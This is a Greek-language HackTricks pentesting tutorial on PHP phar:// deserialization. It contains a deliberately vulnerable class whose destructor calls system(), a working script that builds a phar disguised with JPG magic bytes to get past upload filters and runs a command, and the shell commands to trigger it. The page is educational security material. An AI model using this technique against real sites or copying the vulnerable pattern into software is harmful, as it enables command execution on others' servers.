hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

6.2 KiB
Raw Blame History

phar:// deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Τα αρχεία Phar (PHP Archive) περιέχουν μεταδεδομένα σε σειριακή μορφή, οπότε, όταν αναλυθούν, αυτά τα μεταδεδομένα αποσειριοποιούνται και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια αποσειριοποίησης μέσα στον κώδικα PHP.

Το καλύτερο με αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας συναρτήσεις PHP που δεν εκτελούν κώδικα PHP όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize().

Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν ιστότοπο PHP να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο phar://, και μέσα στον κώδικα βρίσκετε μια κλάση παρόμοια με την εξής:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

Μπορείτε να δημιουργήσετε ένα phar αρχείο που όταν φορτωθεί θα καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές με κάτι σαν:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Σημειώστε πώς τα μαγικά bytes του JPG (\xff\xd8\xff) προστίθενται στην αρχή του αρχείου phar για να παρακαμφθούν οι πιθανές περιορισμοί ανέβασμα αρχείων.
Συγκεντρώστε το αρχείο test.phar με:

php --define phar.readonly=0 create_phar.php

Και εκτελέστε την εντολή whoami εκμεταλλευόμενοι τον ευάλωτο κώδικα με:

php vuln.php

Αναφορές

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

Συμβουλή για bug bounty: εγγραφείτε στο Intigriti, μια premium πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers! Ελάτε μαζί μας στο https://go.intigriti.com/hacktricks σήμερα, και αρχίστε να κερδίζετε βραβεία έως $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}